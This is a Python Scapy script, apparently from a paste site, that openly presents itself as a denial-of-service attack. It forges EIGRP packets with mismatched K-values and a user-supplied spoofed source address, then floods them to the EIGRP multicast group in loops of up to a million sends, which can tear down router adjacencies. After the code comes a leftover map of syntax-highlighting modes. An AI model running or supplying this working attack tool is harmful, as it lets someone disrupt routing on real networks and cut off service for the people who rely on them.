from scapy.all import sendp
from scapy.layers.inet import IP
from scapy.layers.l2 import Ether
from scapy.contrib.eigrp import EIGRP, EIGRPParam, EIGRPSwVer
class DOS_ATTACK:
def main(self):
print("\n |DOS ATTACK|\n")
IPv4 = input("Insert IPv4> ")
print()
PACKET = self.createPacket(IPv4)
self.dosAttack(PACKET, IPv4)
def createPacket(self, IPv4):
ether = Ether()
ip = IP(src = IPv4, dst = "224.0.0.10")
eigrp = EIGRP(asn = 100, tlvlist = [EIGRPParam(k1 = 255, k2 = 255, k3 = 255, k4 = 255, k5 = 255), EIGRPSwVer()])
PACKET = ether/ip/eigrp
return PACKET
def dosAttack(self, PACKET, IPv4):
for i in range(1000000):
try:
sendp(PACKET, iface = "eth0", verbose = 0)
except KeyboardInterrupt:
exit()
except:
break
print(f"{i} PACKET SENDED! [{IPv4}]")
for i in range(1000000):
try:
sendp(PACKET, verbose = 0)
except KeyboardInterrupt:
exit()
except:
print("Error.")
print(f"{i} PACKET SENDED! [{IPv4}]")
if __name__ == "__main__":
DOS_ATTACK().main()
{"html5":"htmlmixed","css":"css","javascript":"javascript","php":"php","python":"python","ruby":"ruby","lua":"text\/x-lua","bash":"text\/x-sh","go":"go","c":"text\/x-csrc","cpp":"text\/x-c++src","diff":"diff","latex":"stex","sql":"sql","xml":"xml","apl":"apl","asterisk":"asterisk","c_loadrunner":"text\/x-csrc","c_mac":"text\/x-csrc","coffeescript":"text\/x-coffeescript","csharp":"text\/x-csharp","d":"d","ecmascript":"javascript","erlang":"erlang","groovy":"text\/x-groovy","haskell":"text\/x-haskell","haxe":"text\/x-haxe","html4strict":"htmlmixed","java":"text\/x-java","java5":"text\/x-java","jquery":"javascript","mirc":"mirc","mysql":"sql","ocaml":"text\/x-ocaml","pascal":"text\/x-pascal","perl":"perl","perl6":"perl","plsql":"sql","properties":"text\/x-properties","q":"text\/x-q","scala":"scala","scheme":"text\/x-scheme","tcl":"text\/x-tcl","vb":"text\/x-vb","verilog":"text\/x-verilog","yaml":"text\/x-yaml","z80":"text\/x-z80"}